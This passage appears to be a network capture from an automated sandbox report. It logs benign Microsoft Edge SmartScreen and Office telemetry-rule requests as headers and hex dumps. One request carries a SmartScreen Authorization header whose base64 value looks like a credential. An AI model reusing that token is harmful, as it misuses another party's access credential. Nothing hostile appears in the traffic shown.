2024-11-18 07:55:44 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVGdDazdsdURmN0gyZzVmc1ZZN1dlQT09IiwgImhhc2giOiJ3eEVWSDh5Z2V4az0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 07:55:44 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-18 07:55:45 UTC	252	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-18 07:55:45 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-11-18 07:55:45 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:45 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075545Z-16547b76f7fffb7lhC1DFWdsxg00000005sg000000001pcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:45 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 1adab3e6-901e-0067-74c6-36b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075545Z-164f84587bfsgfx9hC1DFWw1as00000005fg000000002h7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075545Z-164f84587bf6n6jwhC1DFW90fn00000004q000000000891e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:45 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: f96acd97-a01e-000d-6d86-36d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075545Z-164f84587bffvwt9hC1DFW2ktw000000037g000000007dx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:45 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075545Z-1866b5c5fbb2cz68hC1DFW9ytc00000004f000000000cec7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:45 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	49908	4.153.57.10	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
